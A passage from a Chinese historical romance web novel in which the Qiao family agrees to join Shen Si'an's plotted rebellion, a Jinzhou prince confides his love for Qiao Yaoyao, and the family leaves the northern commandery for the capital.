乔亭雪也是恨铁不成钢道,“我才是家里的大姐,你凭什么替我自做主张?!”虽是斥责,更多的却是心疼,看向乔杳杳的眼里都是自责,乔青松起身相拦,“是我话没说完,沈祀安一开始就没想让阿姐进京。但元娘答应入宫当女官也是真,沈祀安还想娶元娘。”
“乔杳杳!反了你了是吧!”
乔青松连忙拦人,倒戈给乔杳杳辩解道,“那小子早就想好阿姐留在北郡了,又拿苏小姐的事情威胁,怪不得元娘……”
乔杳杳早就预料到这个场面,老老实实跪在正中,小声反驳了一句,“而且是宫里女官。”
乔青松叹气道,“真跟元娘没关系。”
“哥哥——”乔杳杳委屈喊人,一母同胞的情谊果然不一般。
乔万屹拉住自家夫人,没让棍子真打到乔杳杳身上,他仿佛苍老了十岁不止,从他们回来到这之前他都是沉默的。那个会陪夫人做鸟窝,跟自家孩子打闹,丝毫不吝啬他的爱的那个人今晚异常沉默寡言。
“他拿什么威胁你?”他问乔杳杳。
乔杳杳如实道,“苏清序……”
他轻轻叹口气,好像做了一个重大决定。
“把门关上。”
乔青松起身,摆手让程伯和于伯散去,关好门后听见自己父亲问元娘,
“你都知道了什么,自己说说吧。”
他垂眸,从盛京连下三道圣旨时,从费家身上搜出锦州皇室有关物什时他就知道,乔家,哪个也无法避免、置身事外。
“山庄里的吴管事是沈祀安的人。”
乔夫人惊诧,乔万屹手搭在她手上安抚自己的夫人。
“李夫人也是,所以乔家一早就在他的计划里,从一开始,乔家就在他们的计划里了。借用山庄的幌子让方书来名正言顺留在北郡。”
乔杳杳啪嗒啪嗒掉眼泪,其实
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她也有些自责,“苏清序跟锦州皇室有关系,我明知道她是山霖山庄的人却还纵容当众把花给她,更落实了乔家跟锦州纠缠不清的罪名”
乔亭雪替她说话,“没有这个名头也有其他的,盛京想让乔家回去就没有想不出的理由。”
乔万屹点点头,“这和他没关系,即使有也不能见死不救。”
乔夫人问她,“你和沈祀安又是怎么回事?”
乔杳杳吸一口气道,“不知道,祭祀游是第一面,他问我要花我没给。”
“天成嘴上没把门的,他们两人也没见过面,怎么可能有牵扯。沈家那小子明摆着拉乔家入局,过错不在元娘,也怪不到元娘身上。”
乔万屹笑着那人拉起给她拍膝盖上的土。
“父亲,那内应现在怎么办”他笑呵呵给她擦眼泪“都入盛京了要,他自有去处。”
“也是沈祀安吗?”
“嗯。”
乔青松忍不住问道,“那小子到底想干什么?”
乔万屹笑而不语看向乔亭雪,“若云,你来说说。”
乔亭雪面露迟疑,乔夫人宽心道,“不管发生什么,只要咱们一家人拧成一股绳就都不怕,只管说就好了。”
乔万屹欣慰,点头鼓励。
“既如此若云便大胆推测,若有失言,还请父亲母亲见谅。”
“不怪。”
“从庄子就开始设计安插自己人分管北郡削弱乔家势力,再到费家可借由说乔家私通外敌以此做要挟拿捏乔家,送元娘入宫更是把人质送到了对方面前,盛京乔家没人脉没门路,想要云娘平安还是要听他的安排。
用元娘换乔家看似乔家占了便宜其实正中他下怀。费了这么大周折……偏偏又是乔家,除了……造反,我猜不到其他。”
乔万屹笑着摇头道,“差一件最重要的。”
乔亭雪思酌过后摇头表示不知。
“沈祀安是要造反,但,是盛京想要乔家的命。”
此话一出其余人都坐不住了,乔夫人担忧看向乔万屹,乔青松和乔亭雪站起半响说不出话,乔杳杳愣愣看着依旧挂着笑得父亲。
这个答案或许大家之前都有过猜测,但真当说出来又是何等寒心,尤其是从乔万屹嘴里说出来。
轻飘飘的一句却将所有人钉死在原地。
“父亲……”乔杳杳眼睛里挂着泪雾蒙蒙一片,抬手去擦乔万屹眼角溢出来的泪,他两鬓逐渐斑白,当年随父兄征战沙场叱咤风云老将已过半百。
乔万屹眨眨眼睛,仿佛什么都没有发生过,带着自己三个孩子认真分析当今局势。
“沈祀安送来的旧信是陛下和当年锦州三皇子的通信,嘉德三十八年草原能直攻北郡是为了泄露了护城图,那时候陛下就起了杀心。”
“亏得我命大呀——”
乔青松一直看门外,乔夫人飞快拿帕子拭面,乔亭雪望着自己的银枪失神。
“沈祀安想要造反拉乔家下水,一同反了盛京那位。”
话落,正屋安静极了,没人接,乔万屹也没有继续往下说。
乔杳杳抱住父亲,声音闷闷的,“我听父亲的。”
乔万屹失笑,拿手一下一下摸乔杳杳的头发,看向乔青松,
“天成还没说过话,天成说吧。”
乔青松拳头松开又攥紧,像是下了某种决心,他跪在正堂,乔杳杳听见声响往乔万屹怀里又钻了钻。
“父亲自小教导我们忠君爱国,仁义礼智善,乔家祖训也道‘至忠、至亲、至善’,既然君不义,臣便不为臣,父亲,乔家忠君却不能愚忠,反吧……”
“若是失败便是株连九族,百年名声毁于一旦。”
乔亭雪跪在一旁,脊梁骨直挺,“父亲,反吧。”
乔杳杳泪沾湿乔万屹的肩头,“老祖宗们会支持我们的。”
乔夫人拿帕子擦泪一个劲儿仰头,乔万屹眼里泛泪花,看着跪在地上的儿女还有趴在怀里的乔杳杳,良久,才道,
“君不义则臣不为臣,乔家护的从来都是天下百姓,若是河清海晏就罢可眼下内乱纷争四起百姓苦不堪言,该拥新主立新朝了……”
“那小子应该是想元娘去宫里做内应,我和天成是官场上的帮手,若云到时候带兵可外应,呵,这小子倒是会算计啊。”
乔杳杳闷闷道,“心机深沉,坏人。”
乔万屹摸姑娘头发,“唯愿河清海晏,唯愿盛世安康。只要做到这两点,也不算是坏人了。”
35. 太多两厢情愿到相看两厌的例子
沉月拿了鸡蛋给乔杳杳扶敷眼睛,嘟囔道,“肿成核桃了都,小姐还笑。”
“诶呀,敷一敷就好了。”
“可不是,半点不放在心上。”乔亭雪踏着月光进屋。
乔杳杳谄媚给她让座,笑眯嘻嘻的不值钱模样让乔亭雪又是一阵心疼。
沉月接过鸡蛋小心翼翼把门掩好。乔亭雪拆开药瓶挖块儿药膏涂在指尖,“闭眼。”
冰凉凉的药膏涂在眼皮上,很舒服,乔杳杳不禁发出一声喟叹。乔亭雪揉的仔细认真,“我才是家里的大姐,下次不许这么做了,诚心让我记你一辈子吗?”
乔杳杳没心没肺道,“记得我不好吗?阿姐不想记元娘一辈子吗?元娘可是最喜欢阿姐了!”
“没个消停。”
“也不是,阿姐……”
“嗯?说,支支吾吾的可不是你。”
“你想想能有几个人换我的心甘情愿呀!快偷着乐吧!”
乔亭雪不接话,蹙眉歪头,眼梢挂上泪珠子,一晃一晃地摇摇欲坠。
“虽然和我没多大关系但如果是真的我还是愿意换阿姐留在北郡,无论用什么办法。我就是觉得把阿姐困在盛京太不公平,乔家好不容易出个女将军,平白折在盛京困在闺阁多可惜!我就爱看阿姐骑马拿枪,驰骋飞奔潇潇洒洒,英姿飒爽,令人忘却止步,好似……天上谪仙!”
乔亭雪失笑拿手指点她,些许药膏蘸在眉心,“天上谪仙是这么用的吗?!”
“诶呀诶呀,我说是就是,都沾到我眉心了!”
两人笑了一会儿,乔亭雪道,“盛京那位是铁了心,不然也不会说出来举家赴京这件事。这里面定是有那位小侯爷的手笔。”
乔杳杳闭着眼睛趴在桌子上,“谁说不是,那位以为这是个孤寡的可怜人,殊不知早就进了他的陷阱,这张网大到很多年前就将乔家网了进去。那时候他才多大就知道安插眼线了?心机深沉啊~
噢,还有春娘,被乔家拖累平白丢了性命……”
“好了元娘,不要想了。”乔亭雪捧着乔杳杳的脸,两人近在咫尺,眼睛中互相倒映出对方红彤彤的眼睛。
“这错不在乔家身上,把眼泪憋回去,日后进了宫更能体会什么叫身不由己。”
“乔家虽然和沈祀安如今在一条船上,但也不能不防,父亲和天成我不用提醒,但我担心你这个没心没肺没脑子的。”
“阿姐,我知道……不要瞧不起人嘛。”乔杳杳打断乔亭雪,拂开对方的手仰躺在床榻上,她知道他们本可以揭竿而起说不定还有很多百姓支持,可那样就会战火四起,国家动荡,浮尸万里,这不是乔家要的,想来也不是沈祀安要的。
他要,里应外合,改朝换代……
乔亭雪收拾好走了以后就剩乔杳杳一个人躺在床上,心出乎意料的平静,毫无波澜,想起苏清序时猛然坐起,她要看看这家伙有没有偷走什么东西。
沉月歪睡在门口,乔杳杳踢她屁股,“回屋里睡。”
迷迷糊糊沉月就进了屋,还知道脱鞋躺在侧躺上。
院子里有灯,乔杳杳推门点上蜡烛,屋内瞬间明亮。没什么大变化,几乎瞧不出来,苏清序来的悄无声息走的也悄无声息,不带来什么也没留下什么。
纤细修长的手指从书案这头慢慢滑到那头,每日有人打扫,一尘不染,她想起来那天她趴在窗柩上和他写字,歪歪扭扭一倒一正。
福至心灵,她会不会留什么东西?
乔杳杳拿起手稿开始翻,按照由近及远的顺序每一张都标着时间,手稿见底没有那张她想要的,反而让她发现了一个有意思的。
这字迹从圆近流美到娟秀端正再到洋洋洒洒,忽而翻到最后一张,日期就是最新的。
写道:
幸得识卿桃花面,从此阡陌多逢春。
识得哪位卿?七哥?乔杳杳窝在椅子里翻来覆去的看,想起玫瑰酥饼,又想起费承风跟着苏清序前脚后脚的离开没有音讯,莫不是……私下有情?
费家和锦州皇室有关系还是和山霖山庄有牵扯?哥哥如今也没没明说那七哥应该是性命无忧。
她在屋里溜了一圈也只有这么一个发现,不禁骂道:真是个……没良心的……后又在脑子里幻想,若是费承风到时候和阿序姐姐一同回北郡的话她就帮他们张罗成亲的事,也不知那时候她还在不在北郡,是不是要食言了?
……
月朗星稀,北郡和锦州都城是同一轮圆月。姚淮序盘腿坐在棋局一侧,对面正是当今锦州的皇上,他的皇爷爷。
“晏清,怎么今天心不在焉的?”
姚淮序将手中的白棋放进棋篓,如实道,“皇爷爷,我不明白。”
“噢?你说出来我听听,晏清原来也有不明白的时候。”
“您就别取笑我了,您明可以借皇叔之手联合草原合并盛州,为什么最后又借兵给盛州?”
他呵笑一声,将棋落下棋局上,眯起双眼,回想数十年前的光景,那时候还不是头发花白老人,而是一个威武霸气的中年帝王。
“你倒是随了我了,说起来你父亲是我所有孩子里最像我也最不像我的那一个,所以我封他为太子,他以为我什么都不知道,以三足鼎立、势均力敌一说劝谏我。”
“我没听,然后他说了一句话。”
姚淮序看着深深陷入回忆的皇爷爷,他似乎也格外珍惜那段时光,
“他说,晏清今天回去告诉我说皇爷爷教他要仁政爱民。”说完就低低笑起来,转身对姚淮序道,
“我知道有人说我是个暴君,他们推崇太子早日继位,但你父亲从未有过异心,晏清啊,人不能只说的好听,也要做的好听。这天下是姚家管享受万里尊荣,但实际上是替百姓管,锦州花了不知多少年才安居乐业,要真动荡起来,不知又要多少年才能安养生息。”
“打那么多地,攻那么多城池,贪心是永远也填不满的,人要知足。”
姚淮序认同,“皇爷爷是个爱民的好君主,想必也不忍盛州百姓陷入水深火热中。”
“小滑头,我可没有,相比起来那凶蛮的草原人,内斗的盛州人不更好掌控吗?”
姚淮序就笑,“是,但您也没有催他们履行诺言进贡什么,或是联姻。平乱有父亲的功劳,但我更相信是皇爷爷心慈不愿百姓颠沛流离,战乱不断,生活在水深火热中。”
“哼~你倒是会给我戴高帽子。”
“孙儿说的可都是实话。”
皇帝捋捋胡子,心情大好“还有什么一并说了吧。”
“孙儿想娶一人。”
猝不及防,皇帝来了兴致,“哪家女娘?怎么之前没听你讲过?年芳几何?哪家大臣的?还是乡间的?性情如何?”
姚淮序笑,“盛州乔将军。”
“那位我略有耳闻,巾帼不让须眉,她愿意困在这一方天地中?”
“小女儿。”
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“那是谁?”
“也是个无拘无束的主。”
皇帝就乐,“好小子,且不说是盛州还是锦州,就说你以后继了我的位置她能管的住这偌大的后宫吗?潇洒的女娘总是能将少年郎的心思勾走,你年岁小我理解,但两个走到最后看的可不是当初那一点儿新鲜和兴趣。前朝后宫里里外外都讲究个平衡,你又不是不明白。
朝臣家的贵女们不好吗?你若嫌弃刻板无趣的自有欢脱烂漫的让你选,你若喜欢性子洒脱的满都城也不是没有。”
“都城贵女们自然好,但乔元娘最好。我娶元娘也不是为了让她管理后宫学习内务条令,我娶她是想同她一起有个日后,后宫琐事自有太监姑姑们管,她大抵是不爱学的,但这又无妨,总归有我担着。”
“太多两厢情愿到相看两厌的例子,若一直能相敬如宾自然是好,可年少夫妻反目成仇的又不是少数,娶这么个姑娘,就算她甘于困踞一方,心呢?必定是个心高气傲的,你又当如何?”
皇帝想起他年少时也曾有个烂漫的钟意女娘,心气儿至高,最后他们两不也蹉跎于这深宫,相看两厌了吗?
“少年人冲动,晏清,你身为储君,不该有。”
姚淮序睫毛一颤,抬头望皇帝,没有反驳,换了个话头道,“她还没答应我。”
“什么?”
“孙儿还是单相思。”说完这话姚淮序也红了脸,有些不好意思。
想他也是满绣红楼招的人物,如今也要尝单相思的滋味,牙根犯上一阵又一阵的酸痛。皇帝知道他这孙儿是何等骄傲,以为是两厢情愿他还没有棒打鸳鸯合着半天原来是个单相思。
“哈哈哈哈哈哈哈……”
“皇爷爷心慈,不忍孙儿也吃求而不得之苦。”
皇帝乐,“难不成我一个锦州皇帝还要给盛州下旨说让乔家女娘稀罕稀罕你?瞧不出来你比我还霸道。”
姚淮序重新拾起白棋围堵住一颗黑棋的东南角,漫不经心道,“那倒也不用,只要皇爷爷允了孙儿去追人就行。”
原来在这儿等着他。
皇帝如常落棋堵住姚淮序的北方露口,调侃他,“家里还没呆热乎就又想往外跑?先把自己手里这点事情料理清楚再说吧。”
姚淮序思考良久却迟迟不落第二枚棋子,皇帝在桌子底下踢他,笑骂道“你以为我愿意和你这臭棋篓子下?行行行,不爱下就滚出去。”
“孙儿是困了。”
皇帝头也不抬,“滚回去睡觉。”想起什么又补充道,“这段时间久乖乖呆在府上,什么时候料理清楚了什么时候去见你那心上人。”
“皇爷爷……”
“快滚吧!”
姚淮序失笑走到门口,太监公公弯腰给他开门,他没回头却在转角处停下,“皇叔要下葬了。”
“你看着办就行,什么都要问我,怪不得人姑娘不喜欢你。”
姚淮序回头无奈看他,他如常自己一个人研究着棋局,什么也没说摇摇头笑着走了。
门被关上,皇帝随手将棋扔在棋盘里,身边的太监连忙上前,“皇上可要歇息?”
他摆摆手,“去把那对儿玉佩取来送去。”
太监心下惊诧却也没说什么呢,扭头要走的时候又被叫回去,
“找一张乔家女娘的画像来。”
“是。”
宫灯明亮,将人的影子印在窗上,拉得细长,细长到有些孤寂,只影单薄。
36. “回,北郡是家,谁不回家呢?”
翌日沈祀安提了拜帖,门房捧着穿过走廊递到程伯手里,程伯拿了绕过清华泉送到乔万屹面前。
于伯去请乔青松,彼时他正在乔杳杳的院子看姐妹俩耍花枪。
乔杳杳的袖子绑在背后,露出白色臂藕,手拿长剑从手腕处反转挽花抬剑横刺银枪,乔亭雪勾唇单手举枪架住乔杳杳的剑顺势往身前拉。
乔杳杳被这力道一拉与她错身而过,堪堪闪开,乔亭雪反手用银枪的柄拍乔杳杳的屁股。
“姐姐!”乔杳杳捂着屁股有些囧迫。
乔万屹毫不留情拆台,噙笑道,“元娘,这会儿子装什么装?平常对我蹬鼻子上脸的时候脸皮多厚?你问问桃阁院儿里的人,哪个不替我喊冤?”
乔亭雪接过李嬷嬷手里的帕子,点评她,“下盘不稳,胳膊没劲儿,爬那么多树也没练出来吗?”
李嬷嬷笑道,“三小姐现在早就不爬树了,大小姐这可是冤枉她了。”
“就是啊姐姐!”
沉月给乔青松添茶,“是不爬树了,改酿酒了。”
乔青松看向那排子桃树,怪不得他觉得树底下的土像是新翻过,刚要问什么时候埋得又什么时候能喝,嘴还没张开余光瞥见于伯三步并做两步匆匆进院儿。
他一一行过礼后表明来意,乔万屹请大小姐和二公子去书房。
“我呢?”乔杳杳忍不住发问。
“将军并未吩咐。”
乔青松拍拍衣服起身,“好啦,元娘你就乖乖呆一会儿吧。”
乔杳杳撇撇嘴接过姐姐的银枪递给沉月,随后直接仰躺在摇椅里,阳光刺眼,她举手从指缝中眯着眼看高过院墙的梧桐树,树杈上垒着鸟窝,还是那窝麻雀,不一样的是小麻雀都能飞出鸟窝自己觅食了。
“给小姐搭个架子吧。”李嬷嬷贴心道,说着就让人过来支架子。
乔杳杳摆手,“晒会儿吧,晒一天少一天,往后再回来就不知道是什么时候了。”
“再有一个月就是七夕了,小姐今年还做灯吗?”
“做吧,沉月,咱们去年的莲花灯还有剩下的吗?”
“还有一盏”
“那今年就做长明灯。”
沉月红着脸问,“小姐,人都是做兔子花灯,再不济也是圆球吊灯,小姐不做个吗?”
“人都是送给如意郎君,我送给谁?七哥还是陈二哥?”乔杳杳慵懒道,面上搭一块儿帕子整个人窝在椅子里面说不出来的舒服,再晒一会儿太阳就大就热了。
“那往年也不见小姐送费公子或者陈公子呀,到时候小姐成亲不要也从……”
乔杳杳一把把帕子摘掉,眼睛里面亮晶晶,满满的兴趣,“做!给阿序姐姐和七哥做一个!”
“啊?”
沉月和李嬷嬷你看看我、我看看你的,乔杳杳也不解释,心里乐滋滋直冒泡泡。
沈祀安被请进正堂,多等了一炷香的时间他也不恼,不端侯爷架子,见了乔万屹向他行晚辈之礼,礼数让人挑不出错处。
乔青松意味不明,“不亏是盛京宫里教出来的,礼数妥帖至极。”
沈祀安自动忽略这冷嘲热讽,既然算计了人家让对方过过嘴瘾也不是不行。一行人讨论道中午才结束,临了乔万屹也掩饰不住对沈祀安的欣赏,论胆量和计谋真是半分不差。
不是天之骄子,胜似天之骄子。
沈祀安从乔府带走了两个人,又送来一个,直接住到了乔杳杳的小院儿。
是宫里带出来的老嬷嬷,姓从,沈祀安的心腹,乔杳杳既然要入宫便要学宫里的规矩,真是,什么都让他算到了,都提前准备好了,步步不差。
“老姐姐,休息一下吧。”
李嬷嬷看乔杳杳在太阳底下顶着书一动不动练身姿难免心疼,沉月在一旁给她扇扇子去热。
“宫里规矩多,尤其看重,行差踏错一步得罪了哪位贵人不小心便是万丈深渊,咱们只有不到两月时间,过了中秋就要启程,山高路远的路上又颠簸匆忙,到了盛京,那可是想学也来不及了。”
“那我什么时候可以休息?”
汗水滴在地上,脖颈处围了一圈儿的汗。
“回禀小姐,还要半柱香。”
……
乔夫人时不时也要过来看上两眼,嘴上说早该这么管教管教她,回了自己屋又开始偷偷抹眼泪。
乔亭雪回军营,乔万屹官衙事物多起来天天不着家,乔青松也不去书院了,和程伯跟着乔万屹处处忙。
元丰十八年的夏季是乔杳杳过的最快也最忙碌最累的一个夏天,七夕那日方书来被推出来顶罪,方书来下狱,方清羽在盛京醉酒纵马害死过人也没逃掉,方家只剩女眷,方清清去求乔杳杳。
可乔家大门禁闭,任凭方清清如何哭喊都不开,围观的百姓渐渐多起来,终究是她面皮薄讪讪离开,回首时满眼的恨意叫人发寒。
方书来本就在盛京犯下贪污重罪,欺压百姓,梧帝接了奏折问沈祀安怎么办,沈祀安顺水推舟将人送到北郡,现如今再找个由头发落,让自己安插的官员顶替职位,一环扣一环,纵使乔万屹也说不出来他还有多少暗子。
当天晚上乔杳杳在城中放花灯,沈祀安站在桥上看她,眉眼弯弯,人在灯下,流光溢彩。
“沉月,把灯给我。”
乔杳杳接过灯拂起袖子放入水中,荡漾开一层又一层的水纹,莲花灯盏随水流自身飘荡,晃晃悠悠顺着护城河越飘越远。她把手上的水往河里一弹,起身拿帕子擦手。
“乔三小姐在灯上都写了什么?”
乔杳杳和沉月给沈祀安行礼,她已经能标准做出来盛京宫里的福礼姿势,垂眸道,“没什么。”
“不愿意告诉我吗?”
沈祀安噙着笑,没有怪罪的意思,反倒像是和自己的喜欢的姑娘打趣儿。
乔杳杳抿唇抬头对上那双含笑多情眼,也挂上笑,端庄道,“无非就是些祈求平安顺遂的吉祥话。”
“不求姻缘吗?”
“志不在此。”
“小姐小心!”措不及防沉月推开乔杳杳,眼看要着地沈祀安伸手去捞,电光火石之间她一咬牙偏深躲开沈祀安的手整个人扑进水里。
沈祀安看着空荡荡的手心眼眸一沉,看向始作俑者,方清清近乎癫狂地笑着,满脸恨意,周遭人吓得退避三舍,乔杳杳已经半个身子搭在岸边。
夏日衣衫薄她不敢轻易上岸,还好沉月扯了旁边铺面搭桌子的布,乔杳杳黛眉轻蹙却没说什么,老老实实裹在自己身上,一股子馄饨味儿,阿序姐姐肯定喜欢这家馄饨,闻着就正宗。
方清清被車井压跪在地上,没有往日高傲模样,如今歇斯底里状似疯癫,没有体面的大笑着,泪花从眼睛里源源不断涌出。
“哈哈哈哈哈哈哈哈,你活该啊乔杳杳,你活该啊哈哈哈哈哈哈哈哈哈。”
“小侯爷,人家根本不领你的情呢!哈哈哈哈哈哈哈哈哈你以为你就是什么好东西了吗?!”
“哈哈哈哈哈哈哈哈哈哈我诅咒你们,诅咒你们……”
她嘴巴被車井那布塞住,剩下的话不得而知,一朝贵女跌落尘埃,家破人亡,自己也要颠沛流离。
沈祀安目光不善地盯着方清清,眼里的厌恶和嫌弃不言而喻,正要掀眼皮让車井压走时却见乔杳杳兜帽裹着一大块儿蓝布蹲在方清清眼前,抬手给她撩开嘴角碎发。
眼睛里无悲无喜,无恼无惧,平淡得如同湖底水,清风过境也不起波澜,自有自的章法。
方清清怔怔然忘记挣扎,任由眼前一身馄饨味裹着大布同样狼狈的少女给她擦掉脸上的泪,明明她也很狼狈,此刻却让方清清生出了自卑。
可是凭什么?!罪魁祸首不就是她吗?
她笑着笑着就哭,乔杳杳擦不及眼泪微微叹息。
“乔杳杳……”
她抬眼看方清清,对上她模糊不清的眸子。
“我恨你们,你以为沈祀安不是好人你就是了吗?你这是在可怜我吗?”
乔杳杳收回手,拢紧身上的大布站起身,没有波澜平平淡淡道,“你有什么好可怜的?推我下水我还可怜你?怕不是做梦吧。”
“方清清,天道轮回,自有公道。不过是盛京犯的错到北郡来赎罢了,又有什么不甘心的?”
也许就是这副冷冷清清的模样刺痛了方清清,她失神疯狂摇头,本就松散的发髻更加凌乱,“不可能!哈哈哈哈哈哈哈哈”瞬间目光变得凶狠,沈祀安伸手想拉乔杳杳一把可有人动作更快。
陈俊卓站在乔杳杳身前,替她挡住方清清恶毒的眼神,陈新紫也在,没留半点情面直接动手塞住方清清的嘴,让那句污耳的话戛然而止。
乔杳杳怔在原地片刻浑身松一口气,肉眼可见的放松下来,听着陈新紫滔滔不绝对方清清的数落,看着陈俊卓挡的严严实实的宽实后背,旁边是沉月帮她打理一点都不体面的破布,还全是馄饨味,乔青松也在,他跟沈祀安不知道在说什么,她整个人放松下来,沉浸在只有他们几个人的世界,两眼一闭,彻底昏过去……
饿了一晚上又受到惊吓在河里泡过一遭,早就头昏昏前胸贴后背了。
一人驾马行至玄武门匆匆下马直奔英兰殿,畅通无阻,到了殿外从怀中掏出保护得极好的物件儿,隐约看出是莲花形状,花瓣高高至起裹着的黑布,接着递给在门口等候多时的公公,公公双手捧过匆匆到里间报信。
“殿下,北郡有东西送来。”
姚淮序放下手中的书,拿过黑布层层拆开,莲花灯盏出现在眼前,中间的蜡烛还剩半截,里面放着小卷纸条,取出展平一看,有两行小字:
“希望阿序姐姐和七哥平安无事心愿得成,有情人终成眷属。”
姚
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淮序促狭一笑,“哈哈……”
公公不知道殿下在笑什么,瞧着又高兴又生气奇怪的很,不多时手上又多了张纸让送去如今的费侍郎府邸,还未应声又叫自家殿下拿了回去。
公公把门掩好,外间两个小徒弟问太孙殿下是高兴还是不高兴,大公公只摇摇头,神秘道,“殿下心思岂非你我能揣度的?”敲打小徒弟,随后守在一旁。
桃肆是个知情人,但他眼下跟费承风绑在一起同看卷轴,好心劝道,“费公子,你能不能不要乱扔?”
费承风头也不抬,没好气道,“你家殿下张张嘴这苦差事就落在了我头上,也不看看这是一堆什么破烂玩意儿。”
桃肆没心眼咧嘴一笑,“殿下信任费公子,自是知道公子本事大才让公子来看税账。”
“哼~这还差不多。你饿了吗?”
“没有。”
玉扇子敲在桃肆脑袋上,傻孩子还乐呵呵笑着。
“傍晚到现在粒米未进,走了,带你去吃饭。”
“嗯?不看了吗?殿下说要看完的。”
“你听他的听我的?”
桃肆不假思索,“听殿下的。”
费承风走到了门口,似笑非笑,“那你接着看吧。”说完自顾自扬长而去,不多时身后响起一阵脚步声,
“费公子,你等等我啊。”
那人三两步就追上费承风和他同行,商量道,“费公子能不能吃阳春面呀?”
“不行。”
“云吞也行的。”
“不行。”
“那……”
“哪儿那么多废话,桃肆,你的殿下给你吃阳春面吃云吞吗?”
桃肆点点头,费承风渍了一声,眼里带着笑,“我也给你吃,跟我好了。”
“不行。”
“为什么?”
“因为我是殿下的侍卫。”
“那你现在在谁身边?”
“你……总之不行。”
……
乔杳杳最后也不知道自己怎么回的乔府,应该是乔青松把她背回来的,听说那天府上烧了好几桶热水。也不知道乔青松和沈祀安说了什么,他不仅自己最近没来乔府还把从嬷嬷接了走,顺便乔家启程的日子也提早了,七月中旬便出发。
从嬷嬷教学严格,从先生简直就是望尘莫及,乔杳杳学规矩没少遭罪,并非从嬷嬷刻意磋磨,只是一板一眼的实在是没有意思,几乎是从头学起。
不过说到从先生,倒是有另外一件事情,从先生知道乔家不日入京、乔杳杳不去书院以后特意给她送过一次书札。
不多,就两本书一封信,一本是《黄帝内经》,一本是《孙子兵法》,信的意思大大致如下:
我年轻的时候去过盛京,属实繁华热闹引人喜欢,可乱花迷人眼,走过一遭便可足矣,如今我的学生也要去,我自是支持,可我希望她早些归家,回到北郡,虽然她性子顽劣,却真诚直率,是我最喜欢的学生……
不知怎么了,大家都知道她要当女官的事情,很光彩吗?怎么哪里都是还传到了先生耳朵里,于是从山蒲大手一挥还写下一句,
“红墙高耸,若是长松便尽力挺拔枝头越檐墙;黄瓦坚固,若是白鸟便奋然高飞双翅渡角笼”
乔杳杳乐了,将纸叠好让沉月放在木匣子里,“埋了吧。”
沉月惊诧道,“小姐这是说什么糊涂话?这匣子怎么能埋?!”
匣子里还有陈家兄妹送来的小玩意儿。
“难不成还带去盛京吗?埋在院子里让于伯和从嬷嬷帮我好好守着,回来找不到我可是要怪罪的。”
沉月听了高高兴兴跑出去埋匣子。
正式启程那天乔家没告诉任何人,可出城门的一路上都是百姓为他们送行。乔亭雪站在城门下目送他们,乔杳杳抱了抱阿姐,还是没忍住,笑着笑着一放帘子就掉了泪,从接到圣旨再到跟从嬷嬷学规矩再到现在,乔杳杳这段日子最昏昏噩噩,比以往十几年都要昏昏噩噩。
弹指间时光飞逝,亦不真实,繁花似梦,匆匆不曾停留。
陈新紫和陈俊卓在城墙上远远望着一个马车接一个马车慢慢朝方向走着,其中有一辆马车左前檐角挂着个蹴鞠,陈新紫红了眼睛哑着声音问陈俊卓
“一个两个都要走,走了还回来吗?”
陈俊卓一改往日吊儿郎当模样,沉稳道,“回,北郡是家,谁不回家呢?”
“什么时候回来?元娘说她酿了的桃花酒,我还没尝过。”
“若云阿姐什么时候去接他们,他们什么时候回来。”他比谁看的都明白。
“七哥呢?苏清序还回来吗?”
陈俊卓揉自家妹妹脑袋笑而不语。
地平线上太阳已经完全露面,把层峦叠嶂笼罩的薄纱都照散隐入山林,远山青翠,同越来越小的人影渐渐入画。
37. “我跟你......说个......事……
元丰十七年,九月,乔家举家进京,沈祀安同行,同年十二月太后说乔家三小姐甚得眼缘召其入宫,为乔女官,分管宫中琐事,侍奉于太后身侧。
“姑姑。”一个宫女匆匆给她行礼,动作间露出几分慌乱。
北郡最潇洒的女娘如今做了姑姑,行事竟也多了几分从前没有的端庄和规矩。
“慌什么?”那宫女跪俯在地,“陛下传召皇后娘娘,婢女正要......”
“乔三。”来人一身玄衣,黑色大氅狐裘围领,锦靴踩在宫砖上脚步声越来越近,不是沈祀安又是谁?
犹记得当初沈祀安问乔杳杳愿不愿的时候还是酷暑,如今已是寒冬。
“小侯爷好。”沈祀安挥手让宫女退下,弯腰亲自去扶乔杳杳,却让她偏身避开,沈祀安也不恼,笑吟吟道,“谁又惹了你不快?”
“不敢。”
“行了,还有你乔三不敢的?”
“小侯爷贵人事忙,太后还等着奴婢,奴婢就先行离开了。”错身时沈祀安一把抓住她,声音染上几分怒意,“乔三,你明知他姚淮序......”
“还请小侯爷自重。”他将她胳膊高举随后贴近自己,乔杳杳挣扎未果,只听他冷笑道,“自重?你怨我?”
“不敢。”她眼中神情倔强,不退不让,乔杳杳深吸一口气,渐渐冷静下来,一字一句和他说清楚,“小侯爷做的没错,我与小侯爷才是一路人。”
沈祀安嘲讽地笑,将她松开,目送她远离。
八月中秋他们一行人正好行至溪月郡,沈祀安提议在溪月郡落落脚过了中秋再启程便直达盛京了,一行人没意见在沈祀安早就安排好的客栈住下。
夜幕刚起沈祀安便敲了乔杳杳的门,“乔三,出去走走吗?”
一路上两人关系缓和不少,沈祀安又是忙前又是忙后的献殷勤,虽然乔杳杳还是对他疏离倒没有摆在明面上那么明显了。
乔夫人有一次开玩和乔万屹开玩笑道要不是沈祀安,换成是谁这么对乔杳杳她都一定立马拍板定下两人婚事。乔万屹却道:“无论是谁都要看元娘的意愿。”眼中都是对自己女儿的疼爱。
乔青松听见动静开门道,“我和小侯爷一起去吧,元娘可能还在歇息。”
沈祀安点点头,两人一前一后出了门,可刚上街就看见原本该在客栈里歇息的人,乔青松心里叹息,沈祀安却扬唇上前两步,声音悦耳道,“乔三”
乔杳杳听见了,但是她正顾着看舞狮表演,两只眼睛直直盯着满是好奇,直到乔青松喊了一声元娘她才笑嘻嘻装作刚听见的样子笑着给沈祀安行礼然后躲在自己兄长后面。
这么些时日相处下来乔青松更是明白沈祀安并非是花架子,谈吐学识更是让他钦佩,但他还是知道自己姓甚名谁的,干脆装没看见,沈祀安也不恼就当不知道这俩兄妹的心思,只是偶尔看到小食买两块然后让乔杳杳先吃。乔杳杳一开始还坚守心智,但是这和吃的又犯不上生气,不多时沉月怀里已经抱着一堆吃食,沈祀安手里还提着两个,乔青松也不能幸免,唯一的轻松人就是乔杳杳了。
溪月郡距离锦州最近,所以中秋的风俗也能看见锦州的特色,比如游街的高跷、轿子等等。
